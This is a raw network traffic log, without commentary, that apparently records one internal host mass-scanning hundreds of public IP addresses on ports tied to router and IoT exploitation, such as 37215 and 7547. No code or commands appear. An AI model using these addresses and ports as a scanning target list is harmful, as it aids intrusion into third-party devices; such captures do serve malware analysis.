Oct 23, 2022 17:56:37.060144901 CEST	20351	443	192.168.2.23	5.148.145.48
Oct 23, 2022 17:56:37.060149908 CEST	20351	443	192.168.2.23	5.182.154.212
Oct 23, 2022 17:56:37.060149908 CEST	20351	443	192.168.2.23	178.108.121.38
Oct 23, 2022 17:56:37.060153961 CEST	20351	443	192.168.2.23	117.114.88.18
Oct 23, 2022 17:56:37.060164928 CEST	20351	443	192.168.2.23	42.168.144.206
Oct 23, 2022 17:56:37.060173988 CEST	20337	37215	192.168.2.23	25.186.200.11
Oct 23, 2022 17:56:37.060173988 CEST	20337	37215	192.168.2.23	197.19.54.48
Oct 23, 2022 17:56:37.060206890 CEST	20351	443	192.168.2.23	210.87.52.105
Oct 23, 2022 17:56:37.060208082 CEST	20351	443	192.168.2.23	79.134.163.212
Oct 23, 2022 17:56:37.060206890 CEST	20351	443	192.168.2.23	37.52.24.182
Oct 23, 2022 17:56:37.060216904 CEST	20351	443	192.168.2.23	178.78.11.151
Oct 23, 2022 17:56:37.060223103 CEST	20351	443	192.168.2.23	2.158.30.118
Oct 23, 2022 17:56:37.060229063 CEST	443	20351	79.134.163.212	192.168.2.23
Oct 23, 2022 17:56:37.060230017 CEST	443	20351	178.78.11.151	192.168.2.23
Oct 23, 2022 17:56:37.060231924 CEST	443	20351	210.87.52.105	192.168.2.23
Oct 23, 2022 17:56:37.060240030 CEST	20351	443	192.168.2.23	2.127.102.74
Oct 23, 2022 17:56:37.060240030 CEST	20351	443	192.168.2.23	202.30.165.0
Oct 23, 2022 17:56:37.060250044 CEST	443	20351	2.158.30.118	192.168.2.23
Oct 23, 2022 17:56:37.060252905 CEST	443	20351	2.127.102.74	192.168.2.23
Oct 23, 2022 17:56:37.060256958 CEST	443	20351	37.52.24.182	192.168.2.23
Oct 23, 2022 17:56:37.060260057 CEST	20351	443	192.168.2.23	79.41.66.85
Oct 23, 2022 17:56:37.060261965 CEST	20351	443	192.168.2.23	178.158.59.248
Oct 23, 2022 17:56:37.060266018 CEST	443	20351	202.30.165.0	192.168.2.23
Oct 23, 2022 17:56:37.060270071 CEST	20351	443	192.168.2.23	212.120.232.150
Oct 23, 2022 17:56:37.060270071 CEST	20351	443	192.168.2.23	117.79.91.6
Oct 23, 2022 17:56:37.060275078 CEST	20351	443	192.168.2.23	123.52.111.109
Oct 23, 2022 17:56:37.060276031 CEST	20351	443	192.168.2.23	210.179.246.141
Oct 23, 2022 17:56:37.060275078 CEST	20351	443	192.168.2.23	210.87.52.105
Oct 23, 2022 17:56:37.060276031 CEST	20351	443	192.168.2.23	123.178.98.16
Oct 23, 2022 17:56:37.060281992 CEST	443	20351	79.41.66.85	192.168.2.23
Oct 23, 2022 17:56:37.060286999 CEST	20351	443	192.168.2.23	79.134.163.212
Oct 23, 2022 17:56:37.060286999 CEST	20351	443	192.168.2.23	2.98.105.139
Oct 23, 2022 17:56:37.060291052 CEST	443	20351	123.52.111.109	192.168.2.23
Oct 23, 2022 17:56:37.060292959 CEST	20351	443	192.168.2.23	212.153.100.71
Oct 23, 2022 17:56:37.060295105 CEST	443	20351	178.158.59.248	192.168.2.23
Oct 23, 2022 17:56:37.060297012 CEST	443	20351	212.120.232.150	192.168.2.23
Oct 23, 2022 17:56:37.060298920 CEST	443	20351	210.179.246.141	192.168.2.23
Oct 23, 2022 17:56:37.060307980 CEST	20351	443	192.168.2.23	178.78.11.151
Oct 23, 2022 17:56:37.060308933 CEST	20351	443	192.168.2.23	2.158.30.118
Oct 23, 2022 17:56:37.060309887 CEST	443	20351	117.79.91.6	192.168.2.23
Oct 23, 2022 17:56:37.060312033 CEST	443	20351	123.178.98.16	192.168.2.23
Oct 23, 2022 17:56:37.060314894 CEST	443	20351	2.98.105.139	192.168.2.23
Oct 23, 2022 17:56:37.060317993 CEST	20351	443	192.168.2.23	202.30.165.0
Oct 23, 2022 17:56:37.060317993 CEST	20351	443	192.168.2.23	2.127.102.74
Oct 23, 2022 17:56:37.060318947 CEST	443	20351	212.153.100.71	192.168.2.23
Oct 23, 2022 17:56:37.060318947 CEST	20351	443	192.168.2.23	37.52.24.182
Oct 23, 2022 17:56:37.060348034 CEST	20337	37215	192.168.2.23	25.132.89.10
Oct 23, 2022 17:56:37.060358047 CEST	20351	443	192.168.2.23	123.52.111.109
Oct 23, 2022 17:56:37.060372114 CEST	20351	443	192.168.2.23	117.79.91.6
Oct 23, 2022 17:56:37.060375929 CEST	20337	37215	192.168.2.23	1.184.196.51
Oct 23, 2022 17:56:37.060384989 CEST	20351	443	192.168.2.23	79.41.66.85
Oct 23, 2022 17:56:37.060388088 CEST	20351	443	192.168.2.23	212.120.232.150
Oct 23, 2022 17:56:37.060388088 CEST	20351	443	192.168.2.23	123.178.98.16
Oct 23, 2022 17:56:37.060388088 CEST	20351	443	192.168.2.23	210.179.246.141
Oct 23, 2022 17:56:37.060400009 CEST	20351	443	192.168.2.23	212.153.100.71
Oct 23, 2022 17:56:37.060410976 CEST	20337	8080	192.168.2.23	156.5.111.176
Oct 23, 2022 17:56:37.060410976 CEST	20337	60001	192.168.2.23	164.177.176.49
Oct 23, 2022 17:56:37.060417891 CEST	20337	8080	192.168.2.23	104.175.188.230
Oct 23, 2022 17:56:37.060420036 CEST	20351	443	192.168.2.23	2.98.105.139
Oct 23, 2022 17:56:37.060417891 CEST	20351	443	192.168.2.23	178.158.59.248
Oct 23, 2022 17:56:37.060440063 CEST	20337	37215	192.168.2.23	70.213.138.80
Oct 23, 2022 17:56:37.060442924 CEST	20337	80	192.168.2.23	197.151.23.98
Oct 23, 2022 17:56:37.060444117 CEST	20337	7547	192.168.2.23	96.83.84.157
Oct 23, 2022 17:56:37.060467005 CEST	20351	443	192.168.2.23	210.224.9.65
Oct 23, 2022 17:56:37.060477018 CEST	20351	443	192.168.2.23	117.60.70.193
Oct 23, 2022 17:56:37.060482025 CEST	20351	443	192.168.2.23	79.71.237.250
Oct 23, 2022 17:56:37.060487986 CEST	443	20351	210.224.9.65	192.168.2.23
Oct 23, 2022 17:56:37.060492992 CEST	20351	443	192.168.2.23	123.223.118.197
Oct 23, 2022 17:56:37.060501099 CEST	443	20351	117.60.70.193	192.168.2.23
Oct 23, 2022 17:56:37.060504913 CEST	20351	443	192.168.2.23	118.149.209.53
Oct 23, 2022 17:56:37.060512066 CEST	20351	443	192.168.2.23	118.123.123.231
Oct 23, 2022 17:56:37.060514927 CEST	443	20351	123.223.118.197	192.168.2.23
Oct 23, 2022 17:56:37.060518980 CEST	20351	443	192.168.2.23	202.248.141.75
Oct 23, 2022 17:56:37.060520887 CEST	20351	443	192.168.2.23	109.223.218.189
Oct 23, 2022 17:56:37.060520887 CEST	443	20351	79.71.237.250	192.168.2.23
Oct 23, 2022 17:56:37.060523033 CEST	443	20351	118.149.209.53	192.168.2.23
Oct 23, 2022 17:56:37.060529947 CEST	443	20351	118.123.123.231	192.168.2.23
Oct 23, 2022 17:56:37.060532093 CEST	443	20351	202.248.141.75	192.168.2.23
Oct 23, 2022 17:56:37.060545921 CEST	20351	443	192.168.2.23	210.224.9.65
Oct 23, 2022 17:56:37.060547113 CEST	443	20351	109.223.218.189	192.168.2.23
Oct 23, 2022 17:56:37.060549974 CEST	20351	443	192.168.2.23	37.162.141.146
Oct 23, 2022 17:56:37.060554028 CEST	20351	443	192.168.2.23	117.60.70.193
Oct 23, 2022 17:56:37.060561895 CEST	20351	443	192.168.2.23	5.167.190.168
Oct 23, 2022 17:56:37.060563087 CEST	20351	443	192.168.2.23	123.223.118.197
Oct 23, 2022 17:56:37.060579062 CEST	443	20351	37.162.141.146	192.168.2.23
Oct 23, 2022 17:56:37.060578108 CEST	443	20351	5.167.190.168	192.168.2.23
Oct 23, 2022 17:56:37.060580969 CEST	20337	8080	192.168.2.23	47.119.249.182
Oct 23, 2022 17:56:37.060600042 CEST	20337	80	192.168.2.23	52.67.151.15
Oct 23, 2022 17:56:37.060600042 CEST	20351	443	192.168.2.23	109.223.218.189
Oct 23, 2022 17:56:37.060611010 CEST	20351	443	192.168.2.23	79.71.237.250
Oct 23, 2022 17:56:37.060616016 CEST	20351	443	192.168.2.23	202.248.141.75
Oct 23, 2022 17:56:37.060630083 CEST	20337	60001	192.168.2.23	113.15.249.79
Oct 23, 2022 17:56:37.060636997 CEST	20351	443	192.168.2.23	118.149.209.53
Oct 23, 2022 17:56:37.060643911 CEST	20351	443	192.168.2.23	118.123.123.231
Oct 23, 2022 17:56:37.060652018 CEST	20337	80	192.168.2.23	157.186.75.179
Oct 23, 2022 17:56:37.060657978 CEST	20351	443	192.168.2.23	5.167.190.168
Oct 23, 2022 17:56:37.060662031 CEST	20337	8080	192.168.2.23	85.190.77.239
Oct 23, 2022 17:56:37.060664892 CEST	20337	37215	192.168.2.23	111.114.97.77
Oct 23, 2022 17:56:37.060672045 CEST	20337	60001	192.168.2.23	156.249.147.34
Oct 23, 2022 17:56:37.060676098 CEST	20351	443	192.168.2.23	37.162.141.146
Oct 23, 2022 17:56:37.060699940 CEST	20351	443	192.168.2.23	178.253.214.27
Oct 23, 2022 17:56:37.060703039 CEST	20351	443	192.168.2.23	109.89.214.29
Oct 23, 2022 17:56:37.060705900 CEST	20337	37215	192.168.2.23	176.126.6.235
Oct 23, 2022 17:56:37.060705900 CEST	20351	443	192.168.2.23	79.73.6.79
Oct 23, 2022 17:56:37.060718060 CEST	443	20351	109.89.214.29	192.168.2.23
Oct 23, 2022 17:56:37.060719967 CEST	443	20351	178.253.214.27	192.168.2.23
Oct 23, 2022 17:56:37.060724974 CEST	20351	443	192.168.2.23	37.196.84.204
Oct 23, 2022 17:56:37.060724974 CEST	20351	443	192.168.2.23	212.8.0.251
Oct 23, 2022 17:56:37.060728073 CEST	443	20351	79.73.6.79	192.168.2.23
Oct 23, 2022 17:56:37.060739994 CEST	20351	443	192.168.2.23	94.171.77.255
Oct 23, 2022 17:56:37.060741901 CEST	20351	443	192.168.2.23	202.90.103.8
Oct 23, 2022 17:56:37.060741901 CEST	20351	443	192.168.2.23	109.179.53.160
Oct 23, 2022 17:56:37.060749054 CEST	443	20351	37.196.84.204	192.168.2.23
Oct 23, 2022 17:56:37.060750008 CEST	443	20351	212.8.0.251	192.168.2.23
Oct 23, 2022 17:56:37.060760021 CEST	443	20351	94.171.77.255	192.168.2.23
Oct 23, 2022 17:56:37.060765028 CEST	443	20351	202.90.103.8	192.168.2.23
Oct 23, 2022 17:56:37.060767889 CEST	443	20351	109.179.53.160	192.168.2.23
Oct 23, 2022 17:56:37.060771942 CEST	20337	60001	192.168.2.23	156.75.150.119
Oct 23, 2022 17:56:37.060781956 CEST	20351	443	192.168.2.23	109.89.214.29
Oct 23, 2022 17:56:37.060786963 CEST	20351	443	192.168.2.23	79.73.6.79
Oct 23, 2022 17:56:37.060792923 CEST	20351	443	192.168.2.23	178.253.214.27
Oct 23, 2022 17:56:37.060795069 CEST	20351	443	192.168.2.23	37.196.84.204
Oct 23, 2022 17:56:37.060807943 CEST	20351	443	192.168.2.23	202.90.103.8
Oct 23, 2022 17:56:37.060805082 CEST	20351	443	192.168.2.23	212.8.0.251
Oct 23, 2022 17:56:37.060818911 CEST	20351	443	192.168.2.23	109.179.53.160
Oct 23, 2022 17:56:37.060826063 CEST	20351	443	192.168.2.23	94.171.77.255
Oct 23, 2022 17:56:37.060827017 CEST	20337	60001	192.168.2.23	143.136.108.101
Oct 23, 2022 17:56:37.060841084 CEST	20337	60001	192.168.2.23	20.140.182.58
Oct 23, 2022 17:56:37.060841084 CEST	20337	80	192.168.2.23	149.62.251.191
Oct 23, 2022 17:56:37.060857058 CEST	20337	60001	192.168.2.23	36.195.180.32
Oct 23, 2022 17:56:37.060874939 CEST	20351	443	192.168.2.23	117.124.156.138
Oct 23, 2022 17:56:37.060874939 CEST	20351	443	192.168.2.23	210.92.115.1
Oct 23, 2022 17:56:37.060889959 CEST	20351	443	192.168.2.23	109.31.121.52
Oct 23, 2022 17:56:37.060890913 CEST	443	20351	117.124.156.138	192.168.2.23
Oct 23, 2022 17:56:37.060903072 CEST	20351	443	192.168.2.23	37.42.173.16
Oct 23, 2022 17:56:37.060903072 CEST	20351	443	192.168.2.23	212.213.103.225
Oct 23, 2022 17:56:37.060905933 CEST	443	20351	210.92.115.1	192.168.2.23
Oct 23, 2022 17:56:37.060911894 CEST	443	20351	109.31.121.52	192.168.2.23
Oct 23, 2022 17:56:37.060913086 CEST	20351	443	192.168.2.23	2.138.3.16
Oct 23, 2022 17:56:37.060916901 CEST	20351	443	192.168.2.23	79.83.195.45
Oct 23, 2022 17:56:37.060916901 CEST	20351	443	192.168.2.23	123.15.8.122
Oct 23, 2022 17:56:37.060928106 CEST	20351	443	192.168.2.23	117.124.156.138
Oct 23, 2022 17:56:37.060929060 CEST	443	20351	37.42.173.16	192.168.2.23
Oct 23, 2022 17:56:37.060933113 CEST	443	20351	2.138.3.16	192.168.2.23
Oct 23, 2022 17:56:37.060945988 CEST	443	20351	79.83.195.45	192.168.2.23
Oct 23, 2022 17:56:37.060946941 CEST	20351	443	192.168.2.23	210.92.115.1
Oct 23, 2022 17:56:37.060946941 CEST	20351	443	192.168.2.23	117.250.205.162
Oct 23, 2022 17:56:37.060950041 CEST	20351	443	192.168.2.23	42.84.244.226
Oct 23, 2022 17:56:37.060951948 CEST	443	20351	212.213.103.225	192.168.2.23
Oct 23, 2022 17:56:37.060955048 CEST	20351	443	192.168.2.23	109.31.121.52
Oct 23, 2022 17:56:37.060961962 CEST	20351	443	192.168.2.23	2.0.142.250
Oct 23, 2022 17:56:37.060964108 CEST	443	20351	117.250.205.162	192.168.2.23
Oct 23, 2022 17:56:37.060969114 CEST	20351	443	192.168.2.23	94.88.99.55
Oct 23, 2022 17:56:37.060971975 CEST	443	20351	123.15.8.122	192.168.2.23
Oct 23, 2022 17:56:37.060972929 CEST	443	20351	42.84.244.226	192.168.2.23
Oct 23, 2022 17:56:37.060976028 CEST	443	20351	2.0.142.250	192.168.2.23
Oct 23, 2022 17:56:37.060981989 CEST	20351	443	192.168.2.23	178.125.84.55
Oct 23, 2022 17:56:37.060983896 CEST	20351	443	192.168.2.23	2.188.15.191
Oct 23, 2022 17:56:37.060985088 CEST	20351	443	192.168.2.23	5.12.195.97
Oct 23, 2022 17:56:37.060992956 CEST	443	20351	94.88.99.55	192.168.2.23
Oct 23, 2022 17:56:37.061002970 CEST	443	20351	178.125.84.55	192.168.2.23
Oct 23, 2022 17:56:37.061012983 CEST	20351	443	192.168.2.23	117.250.205.162
Oct 23, 2022 17:56:37.061013937 CEST	20351	443	192.168.2.23	2.138.3.16
Oct 23, 2022 17:56:37.061021090 CEST	20351	443	192.168.2.23	212.213.103.225
Oct 23, 2022 17:56:37.061021090 CEST	20337	80	192.168.2.23	93.106.59.186
Oct 23, 2022 17:56:37.061021090 CEST	20351	443	192.168.2.23	37.42.173.16
Oct 23, 2022 17:56:37.061031103 CEST	20351	443	192.168.2.23	42.84.244.226
Oct 23, 2022 17:56:37.061031103 CEST	443	20351	2.188.15.191	192.168.2.23
Oct 23, 2022 17:56:37.061057091 CEST	20351	443	192.168.2.23	79.83.195.45
Oct 23, 2022 17:56:37.061057091 CEST	20351	443	192.168.2.23	178.125.84.55
Oct 23, 2022 17:56:37.061057091 CEST	20351	443	192.168.2.23	123.15.8.122
Oct 23, 2022 17:56:37.061063051 CEST	443	20351	5.12.195.97	192.168.2.23
Oct 23, 2022 17:56:37.061069012 CEST	20351	443	192.168.2.23	94.88.99.55
Oct 23, 2022 17:56:37.061069965 CEST	20351	443	192.168.2.23	2.0.142.250
Oct 23, 2022 17:56:37.061098099 CEST	20337	80	192.168.2.23	178.132.12.160
Oct 23, 2022 17:56:37.061098099 CEST	20337	7547	192.168.2.23	213.106.196.106
Oct 23, 2022 17:56:37.061100960 CEST	20337	80	192.168.2.23	212.83.68.195
Oct 23, 2022 17:56:37.061098099 CEST	20351	443	192.168.2.23	2.188.15.191
Oct 23, 2022 17:56:37.061104059 CEST	20337	60001	192.168.2.23	101.37.79.197
Oct 23, 2022 17:56:37.061104059 CEST	20337	60001	192.168.2.23	93.115.175.41
Oct 23, 2022 17:56:37.061109066 CEST	20337	60001	192.168.2.23	79.229.89.95
Oct 23, 2022 17:56:37.061132908 CEST	20351	443	192.168.2.23	37.47.72.34
Oct 23, 2022 17:56:37.061146021 CEST	20351	443	192.168.2.23	202.17.125.129
Oct 23, 2022 17:56:37.061151028 CEST	20351	443	192.168.2.23	118.217.186.71
Oct 23, 2022 17:56:37.061152935 CEST	443	20351	37.47.72.34	192.168.2.23
Oct 23, 2022 17:56:37.061160088 CEST	20351	443	192.168.2.23	5.12.195.97
Oct 23, 2022 17:56:37.061161041 CEST	20351	443	192.168.2.23	117.216.78.128
Oct 23, 2022 17:56:37.061172009 CEST	443	20351	202.17.125.129	192.168.2.23
Oct 23, 2022 17:56:37.061175108 CEST	443	20351	118.217.186.71	192.168.2.23
Oct 23, 2022 17:56:37.061177969 CEST	20351	443	192.168.2.23	2.13.96.211
Oct 23, 2022 17:56:37.061181068 CEST	443	20351	117.216.78.128	192.168.2.23
Oct 23, 2022 17:56:37.061182022 CEST	20351	443	192.168.2.23	5.176.101.130
Oct 23, 2022 17:56:37.061182022 CEST	20351	443	192.168.2.23	2.24.238.107
Oct 23, 2022 17:56:37.061193943 CEST	20351	443	192.168.2.23	202.90.177.96
Oct 23, 2022 17:56:37.061194897 CEST	20351	443	192.168.2.23	118.165.28.198
Oct 23, 2022 17:56:37.061197042 CEST	443	20351	5.176.101.130	192.168.2.23
Oct 23, 2022 17:56:37.061198950 CEST	20351	443	192.168.2.23	117.197.251.110
Oct 23, 2022 17:56:37.061198950 CEST	20351	443	192.168.2.23	79.239.23.200
Oct 23, 2022 17:56:37.061202049 CEST	443	20351	2.13.96.211	192.168.2.23
Oct 23, 2022 17:56:37.061218023 CEST	443	20351	2.24.238.107	192.168.2.23
Oct 23, 2022 17:56:37.061218023 CEST	443	20351	202.90.177.96	192.168.2.23
Oct 23, 2022 17:56:37.061222076 CEST	20351	443	192.168.2.23	37.47.72.34
Oct 23, 2022 17:56:37.061224937 CEST	443	20351	117.197.251.110	192.168.2.23
Oct 23, 2022 17:56:37.061227083 CEST	20351	443	192.168.2.23	5.176.101.130
Oct 23, 2022 17:56:37.061239004 CEST	443	20351	118.165.28.198	192.168.2.23
Oct 23, 2022 17:56:37.061240911 CEST	20351	443	192.168.2.23	2.24.238.107
Oct 23, 2022 17:56:37.061247110 CEST	443	20351	79.239.23.200	192.168.2.23
Oct 23, 2022 17:56:37.061252117 CEST	20351	443	192.168.2.23	117.216.78.128
Oct 23, 2022 17:56:37.061253071 CEST	20337	80	192.168.2.23	156.44.45.60
Oct 23, 2022 17:56:37.061253071 CEST	20337	60001	192.168.2.23	42.170.197.109
Oct 23, 2022 17:56:37.061253071 CEST	20337	8080	192.168.2.23	76.165.122.166
Oct 23, 2022 17:56:37.061261892 CEST	20351	443	192.168.2.23	202.17.125.129
Oct 23, 2022 17:56:37.061261892 CEST	20337	37215	192.168.2.23	14.138.203.144
Oct 23, 2022 17:56:37.061269999 CEST	20351	443	192.168.2.23	118.217.186.71
Oct 23, 2022 17:56:37.061269999 CEST	20351	443	192.168.2.23	117.197.251.110
Oct 23, 2022 17:56:37.061280012 CEST	20337	37215	192.168.2.23	79.151.138.201
Oct 23, 2022 17:56:37.061285019 CEST	20351	443	192.168.2.23	2.13.96.211
Oct 23, 2022 17:56:37.061289072 CEST	20337	60001	192.168.2.23	183.36.125.184
Oct 23, 2022 17:56:37.061296940 CEST	20351	443	192.168.2.23	202.90.177.96
Oct 23, 2022 17:56:37.061296940 CEST	20351	443	192.168.2.23	118.165.28.198
Oct 23, 2022 17:56:37.061319113 CEST	20337	60001	192.168.2.23	41.204.90.44
Oct 23, 2022 17:56:37.061319113 CEST	20351	443	192.168.2.23	79.239.23.200
Oct 23, 2022 17:56:37.061322927 CEST	20337	37215	192.168.2.23	176.5.115.214
Oct 23, 2022 17:56:37.061366081 CEST	20351	443	192.168.2.23	117.53.184.102
Oct 23, 2022 17:56:37.061376095 CEST	20351	443	192.168.2.23	5.44.54.221
Oct 23, 2022 17:56:37.061378956 CEST	443	20351	117.53.184.102	192.168.2.23
Oct 23, 2022 17:56:37.061379910 CEST	20351	443	192.168.2.23	5.104.11.124
Oct 23, 2022 17:56:37.061382055 CEST	20351	443	192.168.2.23	37.129.240.246
Oct 23, 2022 17:56:37.061391115 CEST	20351	443	192.168.2.23	148.249.171.252
Oct 23, 2022 17:56:37.061398029 CEST	443	20351	5.44.54.221	192.168.2.23
Oct 23, 2022 17:56:37.061398983 CEST	20351	443	192.168.2.23	109.119.37.100
Oct 23, 2022 17:56:37.061402082 CEST	443	20351	5.104.11.124	192.168.2.23
Oct 23, 2022 17:56:37.061403036 CEST	443	20351	37.129.240.246	192.168.2.23
Oct 23, 2022 17:56:37.061404943 CEST	443	20351	148.249.171.252	192.168.2.23
Oct 23, 2022 17:56:37.061414003 CEST	443	20351	109.119.37.100	192.168.2.23
Oct 23, 2022 17:56:37.061414003 CEST	20351	443	192.168.2.23	178.106.143.55
Oct 23, 2022 17:56:37.061420918 CEST	20351	443	192.168.2.23	123.203.254.49
Oct 23, 2022 17:56:37.061424971 CEST	20351	443	192.168.2.23	117.53.184.102
Oct 23, 2022 17:56:37.061441898 CEST	443	20351	123.203.254.49	192.168.2.23
Oct 23, 2022 17:56:37.061451912 CEST	20351	443	192.168.2.23	5.104.11.124
Oct 23, 2022 17:56:37.061453104 CEST	443	20351	178.106.143.55	192.168.2.23
Oct 23, 2022 17:56:37.061463118 CEST	20337	37215	192.168.2.23	197.197.133.117
Oct 23, 2022 17:56:37.061465979 CEST	20351	443	192.168.2.23	5.44.54.221
Oct 23, 2022 17:56:37.061474085 CEST	20351	443	192.168.2.23	37.129.240.246
Oct 23, 2022 17:56:37.061476946 CEST	20337	80	192.168.2.23	105.201.153.176
Oct 23, 2022 17:56:37.061496973 CEST	20351	443	192.168.2.23	148.249.171.252
Oct 23, 2022 17:56:37.061496973 CEST	20337	37215	192.168.2.23	99.42.229.221
Oct 23, 2022 17:56:37.061505079 CEST	20351	443	192.168.2.23	109.119.37.100
Oct 23, 2022 17:56:37.061506987 CEST	20337	8080	192.168.2.23	135.152.230.46
Oct 23, 2022 17:56:37.061506987 CEST	20337	8080	192.168.2.23	156.237.230.115
Oct 23, 2022 17:56:37.061527967 CEST	20351	443	192.168.2.23	123.203.254.49
Oct 23, 2022 17:56:37.061536074 CEST	20337	60001	192.168.2.23	121.82.216.74
Oct 23, 2022 17:56:37.061537027 CEST	20351	443	192.168.2.23	178.106.143.55
Oct 23, 2022 17:56:37.061563969 CEST	20351	443	192.168.2.23	5.124.218.183
Oct 23, 2022 17:56:37.061563969 CEST	20351	443	192.168.2.23	42.229.189.127
Oct 23, 2022 17:56:37.061574936 CEST	20351	443	192.168.2.23	2.148.111.184
Oct 23, 2022 17:56:37.061594963 CEST	443	20351	2.148.111.184	192.168.2.23
Oct 23, 2022 17:56:37.061602116 CEST	443	20351	5.124.218.183	192.168.2.23
Oct 23, 2022 17:56:37.061634064 CEST	443	20351	42.229.189.127	192.168.2.23
Oct 23, 2022 17:56:37.061649084 CEST	20351	443	192.168.2.23	2.148.111.184
Oct 23, 2022 17:56:37.061661959 CEST	20351	443	192.168.2.23	210.244.20.82
Oct 23, 2022 17:56:37.061661959 CEST	20351	443	192.168.2.23	5.124.218.183
Oct 23, 2022 17:56:37.061692953 CEST	443	20351	210.244.20.82	192.168.2.23
Oct 23, 2022 17:56:37.061722040 CEST	20351	443	192.168.2.23	42.229.189.127
Oct 23, 2022 17:56:37.061747074 CEST	20351	443	192.168.2.23	210.244.20.82
Oct 23, 2022 17:56:37.062117100 CEST	20351	443	192.168.2.23	123.199.179.193
Oct 23, 2022 17:56:37.062127113 CEST	20351	443	192.168.2.23	94.208.200.116
Oct 23, 2022 17:56:37.062129021 CEST	20351	443	192.168.2.23	210.119.68.196
Oct 23, 2022 17:56:37.062134981 CEST	20351	443	192.168.2.23	118.241.252.27
Oct 23, 2022 17:56:37.062138081 CEST	443	20351	123.199.179.193	192.168.2.23
Oct 23, 2022 17:56:37.062140942 CEST	20351	443	192.168.2.23	42.37.168.239
Oct 23, 2022 17:56:37.062140942 CEST	20351	443	192.168.2.23	210.1.155.38
Oct 23, 2022 17:56:37.062149048 CEST	443	20351	94.208.200.116	192.168.2.23
Oct 23, 2022 17:56:37.062161922 CEST	20351	443	192.168.2.23	123.253.232.57
Oct 23, 2022 17:56:37.062163115 CEST	443	20351	118.241.252.27	192.168.2.23
Oct 23, 2022 17:56:37.062163115 CEST	443	20351	42.37.168.239	192.168.2.23
Oct 23, 2022 17:56:37.062166929 CEST	20351	443	192.168.2.23	123.174.237.161
Oct 23, 2022 17:56:37.062176943 CEST	443	20351	123.174.237.161	192.168.2.23
Oct 23, 2022 17:56:37.062179089 CEST	443	20351	210.1.155.38	192.168.2.23
Oct 23, 2022 17:56:37.062180042 CEST	20351	443	192.168.2.23	109.122.69.89
Oct 23, 2022 17:56:37.062180042 CEST	443	20351	210.119.68.196	192.168.2.23
Oct 23, 2022 17:56:37.062190056 CEST	20351	443	192.168.2.23	212.122.102.117
Oct 23, 2022 17:56:37.062196970 CEST	20351	443	192.168.2.23	37.251.22.222
Oct 23, 2022 17:56:37.062196970 CEST	20351	443	192.168.2.23	94.208.200.116
Oct 23, 2022 17:56:37.062200069 CEST	443	20351	123.253.232.57	192.168.2.23
Oct 23, 2022 17:56:37.062201977 CEST	443	20351	212.122.102.117	192.168.2.23
Oct 23, 2022 17:56:37.062211990 CEST	20351	443	192.168.2.23	123.199.179.193
Oct 23, 2022 17:56:37.062216997 CEST	20351	443	192.168.2.23	42.37.168.239
Oct 23, 2022 17:56:37.062216997 CEST	443	20351	109.122.69.89	192.168.2.23
Oct 23, 2022 17:56:37.062217951 CEST	20351	443	192.168.2.23	94.199.184.168
Oct 23, 2022 17:56:37.062218904 CEST	20351	443	192.168.2.23	123.163.18.234
Oct 23, 2022 17:56:37.062218904 CEST	20351	443	192.168.2.23	210.119.68.196
Oct 23, 2022 17:56:37.062217951 CEST	443	20351	37.251.22.222	192.168.2.23
Oct 23, 2022 17:56:37.062230110 CEST	20351	443	192.168.2.23	118.241.252.27
Oct 23, 2022 17:56:37.062233925 CEST	443	20351	94.199.184.168	192.168.2.23
Oct 23, 2022 17:56:37.062242985 CEST	443	20351	123.163.18.234	192.168.2.23
Oct 23, 2022 17:56:37.062242985 CEST	20351	443	192.168.2.23	148.167.94.27
Oct 23, 2022 17:56:37.062243938 CEST	20351	443	192.168.2.23	148.14.241.242
Oct 23, 2022 17:56:37.062247992 CEST	20351	443	192.168.2.23	123.174.237.161
Oct 23, 2022 17:56:37.062247992 CEST	20351	443	192.168.2.23	42.60.26.114
Oct 23, 2022 17:56:37.062247992 CEST	20351	443	192.168.2.23	2.195.109.148
Oct 23, 2022 17:56:37.062256098 CEST	20351	443	192.168.2.23	118.185.253.165
Oct 23, 2022 17:56:37.062259912 CEST	443	20351	2.195.109.148	192.168.2.23
Oct 23, 2022 17:56:37.062259912 CEST	20351	443	192.168.2.23	210.1.155.38
Oct 23, 2022 17:56:37.062261105 CEST	20351	443	192.168.2.23	202.99.151.55
Oct 23, 2022 17:56:37.062263966 CEST	443	20351	42.60.26.114	192.168.2.23
Oct 23, 2022 17:56:37.062273979 CEST	20351	443	192.168.2.23	109.46.101.74
Oct 23, 2022 17:56:37.062273979 CEST	20351	443	192.168.2.23	5.210.230.211
Oct 23, 2022 17:56:37.062277079 CEST	443	20351	118.185.253.165	192.168.2.23
Oct 23, 2022 17:56:37.062284946 CEST	443	20351	148.167.94.27	192.168.2.23
Oct 23, 2022 17:56:37.062287092 CEST	443	20351	202.99.151.55	192.168.2.23
Oct 23, 2022 17:56:37.062289000 CEST	20351	443	192.168.2.23	37.251.22.222
Oct 23, 2022 17:56:37.062289000 CEST	20351	443	192.168.2.23	2.211.26.77
Oct 23, 2022 17:56:37.062290907 CEST	20351	443	192.168.2.23	79.99.190.44
Oct 23, 2022 17:56:37.062294960 CEST	20351	443	192.168.2.23	212.122.102.117
Oct 23, 2022 17:56:37.062297106 CEST	443	20351	109.46.101.74	192.168.2.23
Oct 23, 2022 17:56:37.062300920 CEST	20351	443	192.168.2.23	109.122.69.89
Oct 23, 2022 17:56:37.062303066 CEST	443	20351	5.210.230.211	192.168.2.23
Oct 23, 2022 17:56:37.062304974 CEST	20351	443	192.168.2.23	5.10.196.244
Oct 23, 2022 17:56:37.062304974 CEST	20351	443	192.168.2.23	212.3.70.50
Oct 23, 2022 17:56:37.062318087 CEST	443	20351	2.211.26.77	192.168.2.23
Oct 23, 2022 17:56:37.062319040 CEST	443	20351	79.99.190.44	192.168.2.23
Oct 23, 2022 17:56:37.062324047 CEST	443	20351	148.14.241.242	192.168.2.23
Oct 23, 2022 17:56:37.062326908 CEST	20351	443	192.168.2.23	123.163.18.234
Oct 23, 2022 17:56:37.062329054 CEST	443	20351	5.10.196.244	192.168.2.23
Oct 23, 2022 17:56:37.062338114 CEST	20351	443	192.168.2.23	94.199.184.168
Oct 23, 2022 17:56:37.062338114 CEST	20351	443	192.168.2.23	2.195.109.148
Oct 23, 2022 17:56:37.062338114 CEST	20351	443	192.168.2.23	123.31.168.92
Oct 23, 2022 17:56:37.062338114 CEST	20351	443	192.168.2.23	123.253.232.57
Oct 23, 2022 17:56:37.062345982 CEST	20351	443	192.168.2.23	42.60.26.114
Oct 23, 2022 17:56:37.062345982 CEST	20337	37215	192.168.2.23	78.162.30.101
Oct 23, 2022 17:56:37.062351942 CEST	20351	443	192.168.2.23	109.46.101.74
